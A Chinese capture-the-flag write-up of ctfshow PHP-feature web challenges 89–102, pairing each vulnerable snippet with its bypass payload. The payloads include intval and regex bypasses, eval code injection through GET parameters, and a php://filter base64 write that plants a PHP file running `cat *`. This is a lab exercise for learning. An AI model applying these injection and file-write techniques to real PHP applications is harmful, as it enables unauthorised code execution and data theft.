ctf中的web的PHP问题,Ctfshow Web入门 - PHP特性(89-102)

Web89

include("flag.php");highlight_file(__FILE__);if(isset($_GET[‘num‘])){$num = $_GET[‘num‘];if(preg_match("/[0-9]/", $num)){die("no no no!");

}if(intval($num)){echo $flag;

}

}

num数组绕过

?num[]=0

Web90

include("flag.php");highlight_file(__FILE__);if(isset($_GET[‘num‘])){$num = $_GET[‘num‘];if($num==="4476"){die("no no no!");

}if(intval($num,0)===4476){echo $flag;

}else{echo intval($num,0);

}

}

20201122130022135308.jpg

base为0,在传参时添加0x绕过

?num=0x117c

Web91

show_source(__FILE__);include(‘flag.php‘);$a=$_GET[‘cmd‘];if(preg_match(‘/^php$/im‘, $a)){if(preg_match(‘/^php$/i‘, $a)){echo ‘hacker‘;

}else{echo $flag;

}

}else{echo ‘nonononono‘;

}

字符 ^ 和 $ 同时使用时,表示精确匹配

/i匹配大小写,/m匹配换行,一般不加/m是不匹配换行以后的左右两端的内容

由于匹配是要以php开头,我们可以在php之前加上换行绕过

?cmd=%0aphp

Web92-95

解法相似

1.利用90题中intval的特性使用不同进制绕过

2.多了一句判断

if(!strpos($num, "0")){die("no no no!!!");

}

20201122130022166558.jpg

看似没法继续用八进制绕过,其实使用非数字符号可以绕过,让查找返回false

}else

echo("yes!")?>

payload举例:

?num=%20010574

Web96

if(isset($_GET[‘u‘])){if($_GET[‘u‘]==‘flag.php‘){die("no no no");

}else{highlight_file($_GET[‘u‘]);

}

没想到啥,看payload是加./绕过的,读取当前目录下

Web97

include("flag.php");highlight_file(__FILE__);if (isset($_POST[‘a‘]) and isset($_POST[‘b‘])) {if ($_POST[‘a‘] != $_POST[‘b‘])if (md5($_POST[‘a‘]) === md5($_POST[‘b‘]))echo $flag;else

print ‘Wrong.‘;

}

但这里没法实现,原因不明

拿数组可以绕过a[]=1&b[]=2

20201122130022213433.jpg

Web98

include("flag.php");$_GET?$_GET=&$_POST:‘flag‘;$_GET[‘flag‘]==‘flag‘?$_GET=&$_COOKIE:‘flag‘;$_GET[‘flag‘]==‘flag‘?$_GET=&$_SERVER:‘flag‘;highlight_file($_GET[‘HTTP_FLAG‘]==‘flag‘?$flag:__FILE__);

html的三元运算符

$_GET?$_GET=&$_POST:‘flag‘;

表示如果GET传参,则用POST传参flag覆盖

$_GET[‘flag‘]==‘flag‘?$_GET=&$_COOKIE:‘flag‘;

同理如果GET传参是flag字符串,则用cookie传参的flag覆盖

以下同理

$_GET[‘flag‘]==‘flag‘?$_GET=&$_SERVER:‘flag‘;

highlight_file($_GET[‘HTTP_FLAG‘]==‘flag‘?$flag:__FILE__);

如果传参的HTTP_FLAG为flag字符串,则读取flag文件,最后highlight显示

就是说GET要传参,但不能传flag,要拿POST的HTTP_FLAG传flag

Web99

highlight_file(__FILE__);$allow = array();for ($i=36; $i < 0x36d; $i++) {array_push($allow, rand(1,$i));

}if(isset($_GET[‘n‘]) && in_array($_GET[‘n‘], $allow)){file_put_contents($_GET[‘n‘], $_POST[‘content‘]);

}

20201122130022244683.jpg

20201122130022275933.jpg

20201122130022307183.jpg

20201122130022354058.jpg

首先是定义一个数组,然后向数组里面插入随机数,当GET传参的内容符合数组里随机数时,向传参名字的文件里写入POST的content内容

不是很懂怎么解法,看了hint

//in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换

//eg:n=1.php自动转换为1

就是说in_array()的type没有设置为true,则不存在的值会不检测,自动转换

20201122130022385308.jpg

20201122130022432183.jpg

20201122130022463433.jpg

Web100

highlight_file(__FILE__);include("ctfshow.php");//flag in class ctfshow;

$ctfshow = newctfshow();$v1=$_GET[‘v1‘];$v2=$_GET[‘v2‘];$v3=$_GET[‘v3‘];$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);if($v0){if(!preg_match("/\;/", $v2)){if(preg_match("/\;/", $v3)){eval("$v2(‘ctfshow‘)$v3");

}

}

}

ctfshow类开辟空间,提示我们flag在ctfshow类里面

看了代码有迷惑我们的$v2(‘ctfshow‘)$v3,其中v2肯定是命令,v3传分号

v0是三个值相与,v2和v3不传数字和v1数字相与就为1

payload:

?v1=1&v2=var_dump($ctfshow)&v3=;

或者v3直接用内联注释注释掉

?v1=1&v2=var_dump($ctfshow)/*&v3=*/;

20201122130022510308.jpg

到这一步看不懂编码问题,问了出题人才知道,替换0x2d(十六进制ASCII的‘-’符号)

Web101

include("ctfshow.php");//flag in class ctfshow;

$ctfshow = newctfshow();$v1=$_GET[‘v1‘];$v2=$_GET[‘v2‘];$v3=$_GET[‘v3‘];$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);if($v0){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\‘|\,|\.|\;|\?|[0-9]/", $v2)){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\‘|\,|\.|\?|[0-9]/", $v3)){eval("$v2(‘ctfshow‘)$v3");

}

}

}

过滤了很多符号,不能用var_dump输出信息

看了hint考的是类反射

PHP Reflection API是PHP5才有的新功能,它是用来导出或提取出关于类、方法、属性、参数等的详细信息,包括注释。

$class = new ReflectionClass(‘Person‘); // 建立 Person这个类的反射类

$instance = $class->newInstanceArgs($args); // 相当于实例化Person 类

构造语句导出类信息

?v1=1&v2=echo new Reflectionclass&v3=;

Web102

highlight_file(__FILE__);$v1 = $_POST[‘v1‘];$v2 = $_GET[‘v2‘];$v3 = $_GET[‘v3‘];$v4 = is_numeric($v2) and is_numeric($v3);if($v4){$s = substr($v2,2);$str = call_user_func($v1,$s);echo $str;file_put_contents($v3,$str);

}else{die(‘hacker‘);

}

substr截取字符串

20201122130022541558.jpg

call_user_func等于调用方法或变量

20201122130022604058.jpg

hint:

GET

v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-

decode/resource=2.php

POST

v1=hex2bin#访问2.php后查看源代码获得flag

file_put_contents($v3,$str);

上面语句中,v3是我们可以控制的协议流

用base64解码写入文件,在文件包含遇到过

v2传的值,通过解码(4字节一组),能绕过substr的截断

再由v1传的hex2bin函数进行转换,存入2.php

20201122130022682183.jpg

20201122130022775933.jpg

可见这里绕过了substr

PD89YGNhdCAqYDs

=`cat *`;

还有个问题是v4

20201122130022838433.jpg

测试中如果是字符串,is_numeric是不返回值或者返回false,不会返回任何数字的,所以只要v2是数字,v4与运算以后就是1

原文:https://www.cnblogs.com/echoDetected/p/13999517.html

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值